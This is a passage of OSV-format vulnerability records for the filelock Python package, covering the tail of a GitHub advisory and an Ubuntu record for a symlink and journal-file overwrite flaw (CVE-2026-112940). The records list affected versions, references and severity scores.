`filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:15 UTC: fix PR #834 opened",
  "id": "GHSA-v4x8-3wr5-3wq8",
  "modified": "2026-10-23T21:59:08Z",
  "published": "2026-10-23T21:59:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user\u0027s process overwrite or unlink its own files"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-filelock",
            "binary_version": "3.0.4-1ubuntu0.1~esm1"
          },
          {
            "binary_name": "python3-filelock",
            "binary_version": "3.0.4-1ubuntu0.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:18.04:LTS",
        "name": "python-filelock",
        "purl": "pkg:deb/ubuntu/python-filelock@3.0.4-1ubuntu0.1~esm1?arch=source\u0026distro=esm-apps/bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.11-1",
        "2.0.12-1",
        "2.0.13-1",
        "3.0.0-2",
        "3.0.3-1",
        "3.0.4-1",
        "3.0.4-1ubuntu0.1~esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-filelock",
            "binary_version": "3.0.12-2ubuntu0.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:20.04:LTS",
        "name": "python-filelock",
        "purl": "pkg:deb/ubuntu/python-filelock@3.0.12-2ubuntu0.1~esm1?arch=source\u0026distro=esm-apps/focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.12-1",
        "3.0.12-2",
        "3.0.12-2ubuntu0.1~esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-filelock",
            "binary_version": "3.6.0-1ubuntu0.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:22.04:LTS",
        "name": "python-filelock",
        "purl": "pkg:deb/ubuntu/python-filelock@3.6.0-1ubuntu0.1~esm1?arch=source\u0026distro=esm-apps/jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.12-2",
        "3.3.2-1",
        "3.4.0-1",
        "3.4.2-1",
        "3.4.2-2",
        "3.6.0-1",
        "3.6.0-1ubuntu0.1~esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-filelock",
            "binary_version": "3.13.1-1ubuntu0.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "python-filelock",
        "purl": "pkg:deb/ubuntu/python-filelock@3.13.1-1ubuntu0.1~esm1?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.12.2-1",
        "3.12.4-1",
        "3.13.1-1",
        "3.13.1-1ubuntu0.1~esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-filelock",
            "binary_version": "3.32.2-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.10",
        "name": "python-filelock",
        "purl": "pkg:deb/ubuntu/python-filelock@3.32.2-1?arch=source\u0026distro=stonking"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.20.3-1",
        "3.29.4-1",
        "3.32.0-1",
        "3.32.2-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-filelock",
            "binary_version": "3.20.3-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "python-filelock",
        "purl": "pkg:deb/ubuntu/python-filelock@3.20.3-1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.18.0-1",
        "3.20.0-1",
        "3.20.2-1",
        "3.20.3-1"
      ]
    }
  ],
  "aliases": [],
  "details": "(filelock is a platform-independent file lock for Python. From 3.20.4 u ...)",
  "id": "UBUNTU-CVE-2026-112940",
  "modified": "2026-10-23T00:00:00Z",
  "published": "2026-10-23T00:00:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-112940"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112940"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/tox-dev/filelock/pull/834"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-112940"
  ]
}